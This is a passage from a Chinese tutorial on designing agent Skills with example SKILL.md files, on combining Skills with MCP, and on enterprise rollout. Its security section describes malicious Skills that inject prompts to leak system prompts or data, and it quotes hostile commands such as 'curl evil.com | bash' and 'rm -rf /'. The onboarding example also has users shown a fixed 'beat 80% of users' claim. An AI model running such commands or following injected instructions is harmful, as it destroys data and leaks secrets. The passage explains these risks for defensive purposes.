业务场景:SaaS 产品的新客户从注册到首次成功使用的 5 步流程(注册 → 邮箱验证 → 团队邀请 → 数据导入 → 首次价值动作),每步都可能失败,需要 Agent 引导式重试。

SKILL.md 设计要点:

---
name: customer-onboarding
description: 在新用户注册 SaaS 产品、需要引导完成入职流程、或用户提到"不知道怎么开始"时触发。覆盖注册验证、团队邀请、数据导入、首次价值动作 5 步。
---

# Customer Onboarding Flow

## 触发时机
- 用户刚完成注册
- 用户卡在某一步超过 10 分钟
- 用户主动求助 "怎么开始"

## 工作流(5 步,每步都有失败重试)

### Step 1: 验证邮箱
- 调用 resend_verification_email tool
- 等待用户点击,超时 10 分钟 → 重发 1 次 + 推送提醒
- 失败: 记录到 onboarding_failures 集合,通知销售跟进

### Step 2: 团队邀请
- 询问用户公司规模(1-10 / 11-50 / 50+)
- 根据规模生成定制邀请邮件模板
- 询问邮箱列表,批量发送

### Step 3: 数据导入
- 提供 3 种方式:CSV 上传 / 第三方连接(Salesforce/HubSpot) / 手动录入
- 根据数据量建议方式:<1000 行用 CSV,>1000 用 API

### Step 4: 首次价值动作(Aha Moment)
- 引导完成"创建第一个 [核心功能]"
- 完成后展示"你已超过 80% 同类用户"激励

### Step 5: 7 天回访
- 在用户第 7 天推送使用情况报告
- 提供高级功能试用邀请

## 反模式
- 不要跳过 Step 1-4 直接到 Step 5
- 不要把 5 步合并成 1 步
- 不要自动填写未确认的字段

模式 2:多 MCP 协调(设计转开发)

业务场景:把 Figma 设计稿自动转换为 React 组件代码,需要协调 Figma MCP + GitHub MCP + 内部组件库 MCP。

核心思想:Skill 编排 MCP 之间的数据流,而不是直接调用外部 API。

---
name: figma-to-react
description: 当用户提供 Figma 设计稿 URL 并要求生成 React 组件代码时触发。编排 Figma MCP + GitHub MCP + 组件库 MCP,产出可合并的 PR。
---

# Figma → React 转换

## 触发条件
- 用户提供 figma.com/file/... 链接
- 用户请求 "把这个设计稿转成代码"

## MCP 编排(3 阶段)

### Stage 1: 设计解析(Figma MCP)
- 调用 figma.get_file 拉取设计稿结构
- 提取:frame 尺寸、颜色 token、字体、组件实例
- 输出 JSON 设计描述

### Stage 2: 组件匹配(内部组件库 MCP)
- 把设计 token 映射到项目组件库
- 例: 背景色 #3B82F6 → ButtonPrimary
- 例: 16px 圆角 → RoundedMd
- 输出组件依赖清单

### Stage 3: 代码生成 + PR(GitHub MCP)
- 基于组件依赖生成 React + Tailwind 代码
- 调用 github.create_pull_request 自动开 PR
- PR 描述包含:原设计稿链接、组件映射表、人工 review checklist

模式 3:迭代式优化(报告生成)

业务场景:周报 / 月报 / 投资分析报告,需要 Agent 多轮迭代提升质量。

核心模式:v0 → 自评 → v1 → 外部反馈 → v2 → 定稿。Skill 把这个循环固化为 SOP,而不是靠用户每次提醒"再优化一下"。

---
name: investment-report-generator
description: 用户请求生成投资分析报告 / 周报 / 行业研究报告时触发。强制 3 轮迭代:自评 → 外部反馈 → 定稿。
---

# Investment Report Generator

## 强制 3 轮迭代(不允许跳步)

### Round 0: 初稿(15 分钟内)
- 输入:行业 / 公司 / 时间范围
- 输出:5000-8000 字 Markdown 报告
- 必含章节:行业概述 / 核心数据 / 风险点 / 投资建议

### Round 1: 自评 + 修订(必做)
- LLM-as-Judge 给初稿打分(0-10):准确性 / 完整性 / 逻辑性 / 可读性
- 任意维度 < 7 分 → 必重写该章节
- 必查幻觉:每个数据点必须有可点击的来源链接

### Round 2: 外部反馈
- 邀请 2 位"批判者"角色扮演:
  - 反对派:找 5 个反驳论据
  - 极端派:考虑最坏情况
- 把反对意见整合到"风险提示"章节
- 最终输出:经过 3 轮迭代的 8000-12000 字报告

## 禁用
- 跳过 Round 1 直接交付
- 在 Round 0 引用未经验证的数据
- 把"看起来不错"作为完成信号

模式 4:情境感知工具选择(智能文件存储)

业务场景:Agent 需要在不同存储位置(本地 / S3 / Google Drive / Notion)选择最合适的存储方式。

核心模式:Skill 教 Agent 按文件类型 + 用途 + 用户偏好自动选择工具,而不是硬编码"全部存 S3"。

---
name: intelligent-file-storage
description: 当用户要求保存 / 上传 / 备份文件时触发。根据文件类型、大小、用途、用户上下文选择最合适的存储位置(本地 / S3 / Google Drive / Notion)。
---

# Intelligent File Storage

## 决策矩阵(必须按顺序判断)

| 文件类型 | 大小 | 用途 | 选择 |
|---------|------|------|------|
| 代码文件 | 任意 | 编辑 | 本地 + Git 提交 |
| 设计稿 | 任意 | 共享评审 | Figma / Notion |
| 数据集 | > 100MB | 训练 / 分析 | S3 / OSS |
| 文档(终稿) | < 50MB | 分享 | Google Drive |
| 笔记 / 草稿 | 任意 | 协作 | Notion |
| 截图 / 图片 | < 10MB | 临时 | 本地剪贴板 |
| 视频 | 任意 | 永久 | 腾讯云 VOD / S3 |

## 决策流程
1. 识别文件类型(扩展名 + MIME)
2. 询问用户用途(临时 / 长期 / 共享 / 备份)
3. 评估敏感性(公开 / 内部 / 机密)
4. 根据决策矩阵 + 安全性推荐最优位置
5. 用户确认后执行

模式 5:领域专用智能(金融合规检查)

业务场景:金融行业上线新功能前的合规审查,需要符合 SEC / GDPR / 行业特定法规。

核心模式:Skill 内置领域知识(法规库 + 检查清单),让通用 Agent 变成"金融合规专家"。

---
name: finance-compliance-check
description: 任何金融产品的新功能 / 新合同 / 用户协议上线前触发。覆盖 SEC、GDPR、PCI-DSS、SOX、KYC/AML 5 大合规框架。
---

# Finance Compliance Check

## 必查清单(18 项)

### SEC 合规(4 项)
- [ ] 是否涉及证券发行 / 交易?
- [ ] 是否有充分的风险披露?
- [ ] 投资者适当性匹配吗?
- [ ] 反洗钱筛查完成?

### GDPR 合规(5 项)
- [ ] 收集哪些个人数据? 基础是否合法?
- [ ] 用户是否被明确告知?
- [ ] 是否提供数据导出 / 删除入口?
- [ ] 数据存储是否符合跨境传输规则?
- [ ] DPO 是否评审过?

### PCI-DSS 合规(3 项)
- [ ] 是否处理信用卡数据? 是否走 tokenization?
- [ ] 是否在隔离环境存储?
- [ ] 网络传输是否加密?

### SOX 合规(3 项)
- [ ] 财务报告流程有审计轨迹吗?
- [ ] 关键岗位有职责分离吗?
- [ ] 内部控制是否文档化?

### KYC/AML 合规(3 项)
- [ ] 用户身份验证等级是否匹配风险?
- [ ] 是否接入制裁名单筛查?
- [ ] 异常交易监控规则是否就位?

## 输出
- 通过: 18/18 全过 → 给出合规证书编号
- 警告: 任意项不适用 → 给出风险评估
- 阻断: 任意关键项失败 → 阻止上线,返回修复任务

十五、Skills × MCP 协同架构

Skills 和 MCP 经常被混用,但它们的角色完全不同。用一个比喻能讲清关系:

• 模型(Model) = CPU —— 负责思考和决策,本身没有任何外部能力
• 运行时(Runtime / Agent Loop) = 操作系统 —— 把工具调用、上下文、Skills 加载等机制统一管理
• MCP Server = 外设(键盘 / 鼠标 / 显示器) —— 让 Agent 能够"触碰"外部世界(数据库 / API / 文件系统)
• Skill = 应用软件(Photoshop / VSCode / Word) —— 教 Agent 在特定场景下"按什么顺序按哪个键",即工作流和最佳实践

黄金公式:

Powerful Agent = MCP Tools(能力) + Skill(SOP) + LLM(智力) + Memory(记忆)

15.1 协同架构图

┌─────────────────────────────────────────────────┐
│  LLM(Claude Sonnet 4.5 / GPT-5-Codex / K2.6)  │  ← 智力底座
└─────────────────┬───────────────────────────────┘
                  │ thinking
┌─────────────────▼───────────────────────────────┐
│  Agent Runtime(Claude Code / Codex / Cursor)    │  ← 操作系统
│  ┌──────────────────────────────────────────┐  │
│  │  Skills 系统(渐进式披露)                  │  │  ← 应用软件
│  │  - pdf-skill(描述:处理 PDF 文档)         │  │
│  │  - zendesk-skill(描述:客户支持流程)      │  │
│  │  - code-review-skill(描述:代码审查)       │  │
│  └──────────────────────────────────────────┘  │
│  ┌──────────────────────────────────────────┐  │
│  │  MCP 客户端(发现 / 鉴权 / 调度)          │  │  ← 设备驱动
│  └──────────────────────────────────────────┘  │
└─────────────────┬───────────────────────────────┘
                  │ MCP 协议(JSON-RPC 2.0)
┌─────────────────▼───────────────────────────────┐
│  MCP Server 集群(外设)                          │  ← 键盘 / 鼠标
│  ┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐  │
│  │Zendesk │ │ GitHub │ │ Slack  │ │Salesfo.│  │
│  │  MCP   │ │  MCP   │ │  MCP   │ │  MCP   │  │
│  └────────┘ └────────┘ └────────┘ └────────┘  │
└─────────────────────────────────────────────────┘

15.2 真实案例:客户支持 Skill + Zendesk MCP

目标:让 Agent 像资深客服专家一样处理工单。

1. Skill(customer-support-sop)定义:接到工单后 → 读完整对话历史 → 判断情绪等级(平静/不满/愤怒) → 按情绪选回复模板 → 调 MCP 关单 / 转人工 / 升级。
2. MCP(zendesk-mcp)提供:search_tickets / get_ticket / reply_ticket / escalate / close 5 个工具。
3. 协同流程:Skill 的 description 包含"用户提到客服、工单、退款、投诉",MCP 提供执行手段。没有 Skill,Agent 不知道什么时候用什么工具;没有 MCP,Skill 的 SOP 落不到 Zendesk 系统里。

15.3 真实案例:销售 Skill + Apollo MCP

目标:让 Agent 自动做 B2B 销售线索挖掘和初步触达。

• Skill(b2b-outreach-sop)定义:输入公司行业 + 规模 → 找决策人(CEO/CTO/CFO)→ 生成个性化开场白(基于公司最近新闻) → 发送邮件 → 3 天未回自动 follow-up。
• MCP(apollo-mcp)提供:search_people / get_company_news / send_email / track_open 工具。
• 价值:有 MCP 但没 Skill,Agent 可能会发群发模板;有 Skill 但没 MCP,Agent 不知道怎么找人和发邮件。两者结合才形成"专业销售助理"。

反模式警示:不要把所有逻辑塞进 Skill 让它直接调用 HTTP API(执行成功率低,跨 Python 环境脆弱);也不要把所有工作流逻辑写进 MCP Server(失去了渐进式披露的优势)。正确分层是:MCP 管"能做什么",Skill 管"怎么做得专业"。

十六、企业级 Skills 落地

Skills 不仅是个人开发者的提效工具,更是企业级 Agent 落地的核心载体。本节讲清企业如何系统化地引入 Skills,以及必须警惕的安全风险。

16.1 三大应用场景

1. 工作流自动化 —— 把销售、客服、HR、财务、市场等岗位的 SOP 封装为 Skill,让 Agent 替员工跑流程。例:WorkBuddy 企业版把"销售线索评分 / 客户邮件起草 / 会议纪要生成"封装为专家,3 个月人均 Token 消耗增长 10 倍。
2. 文档处理与知识管理 —— 内部文档格式转换、知识检索、合规审查。例:合同审查 Skill 把法务团队 Know-how 沉淀为可调用的能力,新员工也能输出专业审查意见。
3. 行业垂直定制 —— 金融 / 医疗 / 法律 / 教育 / 制造等行业的专属知识。例:trailofbits/skills 把 OWASP 安全规范、加密最佳实践、漏洞检测等沉淀为安全工程 Skill,企业级安全代码审查必备。

16.2 1000+ 集成能力:Composio Rube MCP

ComposioHQ/awesome-claude-skills 提供了 Rube MCP 平台,预制 78 个 SaaS App 的自动化 Skill,涵盖:

• CRM & 销售:HubSpot / Salesforce / Pipedrive / Close / Zoho
• 项目协作:Asana / ClickUp / Linear / Jira / Notion / Trello / Monday
• 通信:Slack / Discord / Microsoft Teams / WhatsApp / Intercom
• 邮件:Gmail / Outlook / Postmark / SendGrid / Mailchimp / Brevo
• 代码 & DevOps:GitHub / GitLab / Bitbucket / CircleCI / Datadog / PagerDuty / Sentry / Vercel / Supabase
• 存储:Box / Dropbox / Google Drive / OneDrive / Airtable / Google Sheets
• 电商:Shopify / Square / Stripe

每个 Skill 包含:工具序列、参数指南、已知陷阱、快速参考表 —— 都是基于真实工具 slug 编写,开箱即用。

16.3 实施 3 步法

1. 需求梳理与选型 —— 列出本团队的 Top 10 重复性任务,按"频次 × 耗时 × 风险"打分,优先做频次高 / 耗时多 / 风险低的。例:每周 3 次写周报 = 9 分(频次 3 × 耗时 3 × 风险 1)。
2. 环境配置与权限 —— 安装 Claude Code / Codex / Cursor → 注册插件市场 /plugin marketplace add ... → 团队共享 ~/.claude/skills/ 目录 → 接入企业 SSO(WorkBuddy 企业版支持腾讯统一身份认证)。
3. 测试优化与监控 —— 跑 1-2 周真实任务 → 收集 false positive / false negative → 调整 SKILL.md description 触发精度 → 接入 Langfuse / LangSmith 做可观测性 → 沉淀内部 Skill 库。

16.4 安全风险与最佳实践

5 大风险(参考 Anthropic 官方安全文档):

1. Prompt 注入 —— 恶意 Skill 在文件中隐藏恶意指令,诱导 Agent 泄露系统提示或数据。
2. 数据窃取 —— 诱导 Agent 把敏感数据(密钥、用户信息)通过 MCP 发送到外部服务器。
3. 权限滥用 —— 过度申请文件操作、bash 命令、代码执行权限,执行危险操作(rm -rf /、curl evil.com | bash)。
4. 依赖投毒 —— Skill 自带的 scripts/ 中包含恶意 Python 包,从 PyPI 安装时拉取后门。
5. 外部网络调用 —— Skill 指示 Agent 连接到攻击者控制的服务器,泄露内网信息。

6 条最佳实践:

1. 只信可信来源 —— 优先官方(anthropics/skills)和经过社区验证的高 star 仓库(obra/superpowers 等),不要安装 star < 1000 且无维护的 Skill。
2. 审计 SKILL.md —— 安装前完整阅读 description 和 Markdown 正文,警惕"看起来无害但实际诱导数据外发"的指令。
3. 检查 scripts/ 依赖 —— 手动跑一遍 Skill 自带的 Python 脚本,看 requirements.txt 是否有可疑包,是否调用了不明的网络请求。
4. 注意外部网络调用 —— 任何包含 curl、wget、requests.post 到外部域名的 Skill 都要严格审计。
5. 沙箱执行 —— WorkBuddy 企业版提供"行为安全 + 权限安全 + 网络安全"三层沙箱;Claude Code / Codex 默认开启 workspace-write + 禁网;生产环境使用 full-auto 必须有 Git 兜底。
6. SKILL.md 加签名 —— 企业内部 Skill 库用 GPG 签名,CI/CD 流水线验证签名后再加载,防止中间人篡改。

Anthropic 官方建议:"Always read every file in the skill, including the SKILL.md, scripts, images, and other resources. Pay particular attention to code dependencies and bundled resources. Be aware of skills that instruct Claude to connect to potentially untrusted external networks."

视频学习:Karpathy 长片 + 经典 Tokenizer 课

Agent 技术细节很多,最难的其实是「LLM 本身到底在想什么」—— 一个不理解 LLM 行为边界的 Agent 开发者,会把所有失败都归因为 prompt 不够长。这里再放两个 Karpathy 长片,作为本章「为什么 Agent 这么难」的根因补充。